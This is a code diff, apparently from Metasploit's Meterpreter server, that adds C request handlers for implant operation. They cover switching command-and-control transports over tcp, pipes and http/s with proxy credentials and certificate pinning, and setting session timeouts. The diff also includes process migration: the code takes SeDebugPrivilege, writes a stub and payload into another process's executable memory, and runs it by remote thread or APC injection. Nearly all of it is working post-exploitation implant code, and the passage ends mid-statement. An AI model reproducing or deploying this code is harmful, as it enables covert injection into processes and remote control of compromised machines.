when it's safe to exit - // (once the socket has been referenced in the other process) - hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); - if (!hEvent) - { - BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); - } - - // Duplicate the event handle for the target process - if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) - { - BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); - } - - dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); - - // Allocate memory for the migrate stub, context, payload and configuration block - lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!lpMemory) - { - BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); - } - - // Calculate the address of the payload... - ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; - - // Write the migrate stub to memory... - dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); - if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); - } - - // Write the migrate context to memory... - dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); - if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); - } - - // Write the migrate payload to memory... - dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); - if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); - } - - // finally write the configuration stub - dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); - if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); - } - - free(ctx); - - // First we try to migrate by directly creating a remote thread in the target process - if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); - - // If that fails we can try to migrate via a queued APC in the target process - if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); - } - } - - dwResult = ERROR_SUCCESS; - - } while (0); - - SAFE_FREE(config); - - // If we failed and have not sent the response, do so now - if (dwResult != ERROR_SUCCESS && response) - { - dprintf("[MIGRATE] Sending response"); - packet_transmit_response(dwResult, remote, response); - } - - // Cleanup... - if (hProcess) - { - dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); - CloseHandle(hProcess); - } - - if (hEvent) - { - dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); - CloseHandle(hEvent); - } - - if (pResult) - { - *pResult = dwResult; - } - - // if migration succeeded, return 'FALSE' to indicate server thread termination. - dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); - return ERROR_SUCCESS == dwResult ? FALSE : TRUE; -} - -/*! - * @brief Update the timeouts with the given values - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - * @remark If no values are given, no updates are made. The response to - * this message is the new/current settings. - */ -DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = NULL; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); - int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // TODO: put this in a helper function that can be used everywhere? - - // if it's in the past, that's fine, but 0 implies not set - if (expirationTimeout != 0) - { - dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); - remote->sess_expiry_time = expirationTimeout; - remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; - } - - if (commsTimeout != 0) - { - dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); - remote->transport->timeouts.comms = commsTimeout; - remote->transport->comms_last_packet = current_unix_timestamp(); - } - - if (retryTotal > 0) - { - dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); - remote->transport->timeouts.retry_total = retryTotal; - } - - if (retryWait > 0) - { - dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); - remote->transport->timeouts.retry_wait = retryWait; - } - - // for the session expiry, return how many seconds are left before the session actually expires - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); - - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} +#include "metsrv.h" +#include "base_inject.h" + +DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer) +{ + *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATECONTEXT)); + + if (*contextBuffer == NULL) + { + return ERROR_OUTOFMEMORY; + } + + *contextSize = sizeof(COMMONMIGRATECONTEXT); + + return ERROR_SUCCESS; +} + +DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) +{ + DWORD result = ERROR_NOT_ENOUGH_MEMORY; + Transport* transport = NULL; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + TimeoutSettings timeouts = { 0 }; + + int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // special case, will still leave this in here even if it's not transport related + if (sessionExpiry != 0) + { + remote->sess_expiry_time = sessionExpiry; + remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; + } + + if (timeouts.comms == 0) + { + timeouts.comms = remote->transport->timeouts.comms; + } + if (timeouts.retry_total == 0) + { + timeouts.retry_total = remote->transport->timeouts.retry_total; + } + if (timeouts.retry_wait == 0) + { + timeouts.retry_wait = remote->transport->timeouts.retry_wait; + } + + dprintf("[CHANGE TRANS] Url: %S", transportUrl); + dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); + dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); + dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); + + do + { + if (transportUrl == NULL) + { + dprintf("[CHANGE TRANS] Something was NULL"); + break; + } + + if (wcsncmp(transportUrl, L"tcp", 3) == 0) + { + MetsrvTransportTcp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else if (wcsncmp(transportUrl, L"pipe", 4) == 0) + { + MetsrvTransportNamedPipe config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else + { + BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; + wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); + wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); + wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); + wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); + PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); + + size_t configSize = sizeof(MetsrvTransportHttp); + if (headers) + { + // this already caters for the null byte because it's included in the structure. + configSize += wcslen(headers); + } + + MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); + config->common.comms_timeout = timeouts.comms; + config->common.retry_total = timeouts.retry_total; + config->common.retry_wait = timeouts.retry_wait; + wcsncpy(config->common.url, transportUrl, URL_SIZE); + + if (proxy) + { + wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); + free(proxy); + } + + if (proxyUser) + { + wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); + free(proxyUser); + } + + if (proxyPass) + { + wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); + free(proxyPass); + } + + if (ua) + { + wcsncpy(config->ua, ua, UA_SIZE); + free(ua); + } + + if (certHash) + { + memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); + // No need to free this up as it's not a wchar_t + } + + if (headers) + { + wcscpy(config->custom_headers, headers); + } + + transport = remote->trans_create(remote, &config->common, NULL); + + free(config); + } + + // tell the server dispatch to exit, it should pick up the new transport + result = ERROR_SUCCESS; + } while (0); + + *transportBufer = transport; + + return result; +} + +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the session timeout to the top level + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + + Transport* current = remote->transport; + Transport* first = remote->transport; + + do + { + Packet* transportGroup = packet_create_group(); + + if (!transportGroup) + { + // bomb out, returning what we have so far. + break; + } + + dprintf("[DISPATCH] Adding URL %S", current->url); + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); + dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); + dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); + dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); + + switch (current->type) + { + case METERPRETER_TRANSPORT_HTTP: + case METERPRETER_TRANSPORT_HTTPS: + { + HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; + dprintf("[DISPATCH] Transport is HTTP/S"); + if (ctx->ua) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); + } + if (ctx->proxy) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + if (ctx->custom_headers && ctx->custom_headers[0]) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); + } + break; + } + } + + packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + + current = current->next_transport; + } while (first != current); + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); + if (remote->transport == remote->transport->next_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->next_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; + +} + +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->prev_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; +} + +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + + // make sure we are not trying to remove the last transport + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Refusing to delete the last transport"); + result = ERROR_INVALID_FUNCTION; + } + else + { + Transport* found = NULL; + Transport* transport = remote->transport; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + do + { + if (wcscmp(transportUrl, transport->url) == 0) + { + found = transport; + break; + } + + transport = transport->next_transport; + } while (transport != remote->transport); + + if (found == NULL || found == remote->transport) + { + dprintf("[DISPATCH] Transport not found, or attempting to remove current"); + // if we don't have a valid transport, or they're trying to remove the + // existing one, then bomb out (that might come later) + result = ERROR_INVALID_PARAMETER; + } + else + { + remote->trans_remove(remote, found); + dprintf("[DISPATCH] Transport removed"); + } + + SAFE_FREE(transportUrl); + } + + packet_transmit_empty_response(remote, packet, result); + dprintf("[DISPATCH] Response sent."); + return result; +} + +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) +{ + Transport* transport = NULL; + DWORD result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, result); + return result; +} + +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) +{ + // we'll reuse the comm timeout TLV for this purpose + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + + dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); + + // to sleep, we simply jump to the same transport, with a delay + remote->next_transport_wait = seconds; + remote->next_transport = remote->transport; + + packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + *result = ERROR_SUCCESS; + + // exit out of the dispatch loop + return FALSE; +} + +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) +{ + Transport* transport = NULL; + *result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, *result); + + if (*result == ERROR_SUCCESS) + { + remote->next_transport = transport; + // exit out of the dispatch loop. + return FALSE; + } + + return TRUE; +} + +/*! + * @brief Set the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // no setting of the cert hash if the target isn't a HTTPS transport + if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) + { + result = ERROR_BAD_ENVIRONMENT; + break; + } + + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + // Support adding a new cert hash if one doesn't exist + if (!ctx->cert_hash) + { + if (certHash) + { + PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); + if (!newHash) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + memcpy(newHash, certHash, CERT_HASH_SIZE); + + // Set it at the last minute. Mucking with "globals" and all, want to make sure we + // don't set it too early.. just in case. + ctx->cert_hash = newHash; + } + else + { + // at this time, don't support overwriting of the existing hash + // as that will cause issues! + result = ERROR_BAD_ARGUMENTS; + break; + } + } + // support removal of the existing hash + else + { + if (certHash) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + else + { + SAFE_FREE(ctx->cert_hash); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Get the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Rather than error out if the transport isn't HTTPS, we'll just return + // an empty response. This prevents a horrible error appearing in the + // MSF console + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + if (ctx->cert_hash) + { + packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Migrate the meterpreter server from the current process into another process. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @param pResult Pointer to the memory that will receive the result. + * @returns Indication of whether the server should continue processing or not. + */ +BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet * response = NULL; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hEvent = NULL; + BYTE * lpPayloadBuffer = NULL; + LPVOID lpMigrateStub = NULL; + LPBYTE lpMemory = NULL; + LPBYTE lpUuid = NULL; + LPCOMMONMIGRATECONTEXT ctx = NULL; + DWORD ctxSize = 0; + DWORD dwMigrateStubLength = 0; + DWORD dwPayloadLength = 0; + DWORD dwProcessID = 0; + DWORD dwDestinationArch = 0; + + MetsrvConfig* config = NULL; + DWORD configSize = 0; + + do + { + response = packet_create_response(packet); + if (!response) + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the process identifier to inject into + dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); + + // Get the target process architecture to inject into + dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); + + // Get the length of the payload buffer + dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); + + // Receive the actual migration payload buffer + lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); + + // Get handles to the updated UUIDs if they're there + lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); + + // Get the migrate stub information + dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); + lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); + + dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); + + // If we can, get SeDebugPrivilege... + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + TOKEN_PRIVILEGES priv = { 0 }; + + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + { + if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); + { + dprintf("[MIGRATE] Got SeDebugPrivilege!"); + } + } + + CloseHandle(hToken); + } + + // Open the process so that we can migrate into it + hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); + if (!hProcess) + { + BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") + } + + // get the existing configuration + dprintf("[MIGRATE] creating the configuration block"); + remote->config_create(remote, lpUuid, &config, &configSize); + dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); + + if (remote->transport->get_migrate_context != NULL) + { + dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); + } + else + { + dwResult = get_migrate_context(&ctxSize, &ctx); + } + + if (dwResult != ERROR_SUCCESS) + { + dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); + break; + } + + // Create a notification event that we'll use to know when it's safe to exit + // (once the socket has been referenced in the other process) + hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hEvent) + { + BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); + } + + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); + } + + dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); + + // Allocate memory for the migrate stub, context, payload and configuration block + lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpMemory) + { + BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); + } + + // Calculate the address of the payload... + ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; + + // Write the migrate stub to memory... + dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); + if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); + } + + // Write the migrate context to memory... + dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); + if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); + } + + // Write the migrate payload to memory... + dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); + } + + // finally write the configuration stub + dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); + if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); + } + + free(ctx); + + // First we try to migrate by directly creating a remote thread in the target process + if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); + + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); + } + } + + dwResult = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(config); + + // If we failed and have not sent the response, do so now + if (dwResult != ERROR_SUCCESS && response) + { + dprintf("[MIGRATE] Sending response"); + packet_transmit_response(dwResult, remote, response); + } + + // Cleanup... + if (hProcess) + { + dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); + CloseHandle(hProcess); + } + + if (hEvent) + { + dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); + CloseHandle(hEvent); + } + + if (pResult) + { + *pResult = dwResult; + } + + // if migration succeeded, return 'FALSE' to indicate server thread termination. + dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); + return ERROR_SUCCESS == dwResult ? FALSE : TRUE; +} + +/*! + * @brief Update the timeouts with the given values + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @remark If no values are given, no updates are made. The response to + * this message is the new/current settings. + */ +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // TODO: put this in a helper function that can be used everywhere? + + // if it's in the past, that's fine, but 0 implies not set + if (expirationTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); + remote->sess_expiry_time = expirationTimeout; + remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; + } + + if (commsTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); + remote->transport->timeouts.comms = commsTimeout; + remote->transport->comms_last_packet = current_unix_timestamp(); + } + + if (retryTotal > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); + remote->transport->timeouts.retry_total = retryTotal; + } + + if (retryWait > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); + remote->transport->timeouts.retry_wait = retryWait; + } + + // for the session expiry, return how many seconds are left before the session actually expires + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/* + * core_channel_open + * ----------------- + * + * Opens a channel with the remote endpoint. The response handler for this + * request will establish the relationship on the other side. + * + * opt: TLV_TYPE_CHANNEL_TYPE + * The channel type to allocate. If set, the function returns, allowing + * a further up extension handler to allocate the channel. + */ +DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) +{ + Packet *response; + DWORD res = ERROR_SUCCESS; + Channel *newChannel; + PCHAR channelType; + DWORD flags = 0; + + do + { + dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); + + // If the channel open request had a specific channel type + if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) + { + res = ERROR_NOT_FOUND; + break; + } + + // Get any flags that were supplied + flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + + dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); + + // Allocate a response + response = packet_create_response(packet); + + // Did the response allocation fail? + if ((!response) || (!(newChannel = channel_create(0, flags)))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); + + // Get the channel class and set it + newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); + + dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); + + // Add the new channel identifier to the response + if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, + channel_get_id(newChannel))) != ERROR_SUCCESS) + break; + + // Transmit the response + dprintf( "[CHANNEL] Sending response for %s", channelType ); + res = packet_transmit(remote, response, 